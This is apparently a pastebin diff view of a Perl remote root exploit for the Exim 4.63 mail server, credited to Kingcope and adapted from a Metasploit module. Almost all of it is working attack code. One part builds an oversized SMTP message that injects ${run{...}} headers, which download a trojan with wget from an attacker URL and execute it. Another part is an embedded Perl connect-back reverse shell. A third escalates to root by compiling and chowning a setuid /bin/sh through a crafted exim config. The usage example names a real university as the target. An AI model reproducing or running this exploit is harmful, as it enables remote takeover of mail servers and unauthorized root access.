View difference between Paste ID: 5JhKCuCg and JMnkCjmZ
SHOW: | | - or go back to the newest paste.
1
#Exim 4.63 (RedHat/Centos/Debian) Remote Root Exploit by Kingcope
2
#Modified perl version of metasploit module
3
 
4
=for comment
5
 
6
use this connect back shell as "trojanurl" and be sure to setup a netcat,
7
 
8
---snip---
9
 
10
$system = '/bin/sh';
11
$ARGC=@ARGV;
12
if ($ARGC!=2) {
13
   print "Usage: $0 [Host] [Port] \n\n";
14
   die "Ex: $0 127.0.0.1 2121 \n";
15
}
16
use Socket;
17
use FileHandle;
18
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
19
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
20
SOCKET->autoflush();
21
open(STDIN, ">&SOCKET");
22
open(STDOUT,">&SOCKET");
23
open(STDERR,">&SOCKET");
24
 
25
open FILE, ">/var/spool/exim4/s.c";
26
print FILE qq{
27
#include <stdio.h>
28
#include <unistd.h>
29
int main(int argc, char *argv[])
30
{
31
setuid(0);
32
setgid(0);
33
setgroups(0, NULL);
34
execl("/bin/sh", "sh", NULL);
35
}
36
};
37
close FILE;
38
 
39
system("gcc /var/spool/exim4/s.c -o /var/spool/exim4/s; rm /var/spool/exim4/s.c");
40
open FILE, ">/tmp/e.conf";
41
print FILE "spool_directory = \${run{/bin/chown root:root /var/spool/exim4/s}}\${run{/bin/chmod 4755 /var/spool/exim4/s}}";
42
close FILE;
43
 
44
system("exim -C/tmp/e.conf -q; rm /tmp/e.conf");
45
system("uname -a;");
46
system("/var/spool/exim4/s");
47
system($system);
48
 
49
---snip---
50
 
51
=cut
52
 
53
use IO::Socket;
54
 
55
if ($#ARGV ne 3) {
56
        print "./eximxpl <host/ip> <trojanurl> <yourip> <yourport>\n";
57
        print "example: ./eximxpl utoronto.edu http://www.h4x.net/shell.txt 3.1.33.7 443\n";
58
        exit;
59
}
60
 
61
$|=1;
62
 
63
$trojan = $ARGV[1];
64
$myip = $ARGV[2];
65
$myport = $ARGV[3];
66
$helohost = "abcde.com";
67
 
68
$max_msg = 52428800;
69
 
70
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
71
                                 PeerPort => "25",
72
                                 Proto    => 'tcp');
73
 
74
while(<$sock>) {
75
        print;
76
        if ($_ =~ /220 /) { last;}
77
}
78
 
79
print $sock "EHLO $helohost\r\n";
80
while(<$sock>) {
81
        print;
82
        if ($_ =~ /250-SIZE (\d+)/) {
83
                $max_msg = $1;
84
                print "Set size to $max_msg !\n";
85
        }
86
        if ($_ =~ /^250.*Hello ([^\s]+) \[([^\]]+)\]/) {
87
                $revdns = $1;
88
                $saddr = $2;
89
        }
90
        if ($_ =~ /250 /) { last;}
91
}
92
 
93
if ($revdns eq $helohost) {
94
        $vv = "";
95
} else {
96
        $vv = $revdns. " ";
97
}
98
 
99
$vv .= "(" . $helohost . ")";
100
 
101
$from = "root\@local.com";
102
$to = "postmaster\@localhost";
103
 
104
$msg_len = $max_msg + 1024*256;
105
$logbuffer_size = 8192;
106
 
107
$logbuffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from <$from> H=$vv [$saddr]: message too big: read=$msg_len max=$max_msg\n";
108
$logbuffer .= "Envelope-from: <$from>\nEnvelope-to: <$to>\n";
109
 
110
$filler = "V" x (8 * 16);
111
$logbuffer_size -= 3;
112
 
113
for ($k=0;$k<60;$k++) {
114
if (length($logbuffer) >= $logbuffer_size) {last;}
115
$hdr = sprintf("Header%04d: %s\n", $k, $filler);
116
$newlen = length($logbuffer) + length($hdr);
117
if ($newlen > $logbuffer_size) {
118
        $newlen -= $logbuffer_size;
119
        $off = length($hdr) - $newlen - 2 - 1;
120
        $hdr = substr($hdr, 0, $off);
121
        $hdr .= "\n";
122
}
123
$hdrs .= $hdr;
124
$logbuffer .= "  " . $hdr;
125
}
126
 
127
$hdrx = "HeaderX: ";
128
$k2 = 3;
129
for ($k=1;$k<=200;$k++) {
130
        if ($k2 > 12) {
131
                $k2 = 3;
132
        }
133
#        $hdrx .= "\${run{/bin/sh -c 'exec /bin/sh -i <&$k2 >&0 2>&0'}} ";
134
        $hdrx .= "\${run{/bin/sh -c \"exec /bin/sh -c 'wget $trojan -O /tmp/c.pl;perl /tmp/c.pl $myip $myport; sleep 10000000'\"}} ";
135
        $k2++;
136
}
137
 
138
$v = "A" x 255 . "\n";
139
$body = "";
140
while (length($body) < $msg_len) {
141
        $body .= $v;
142
}
143
 
144
$body = substr($body, 0, $msg_len);
145
 
146
print $sock "MAIL FROM: <$from>\r\n";
147
$v = <$sock>;
148
print $v;
149
print $sock "RCPT TO: <$to>\r\n";
150
$v = <$sock>;
151
print $v;
152
print $sock "DATA\r\n";
153
$v = <$sock>;
154
print $v;
155
 
156
print "Sending large buffer, please wait...\n";
157
 
158
print $sock $hdrs;
159
print $sock $hdrx . "\n";
160
print $sock $body;
161
print $sock "\r\n.\r\n";
162
$v = <$sock>;
163
print $v;
164
print $sock "MAIL FROM: <$from>\r\n";
165
$v = <$sock>;
166
print $v;
167
print $sock "RCPT TO: <$to>\r\n";
168
 
169
while(1){};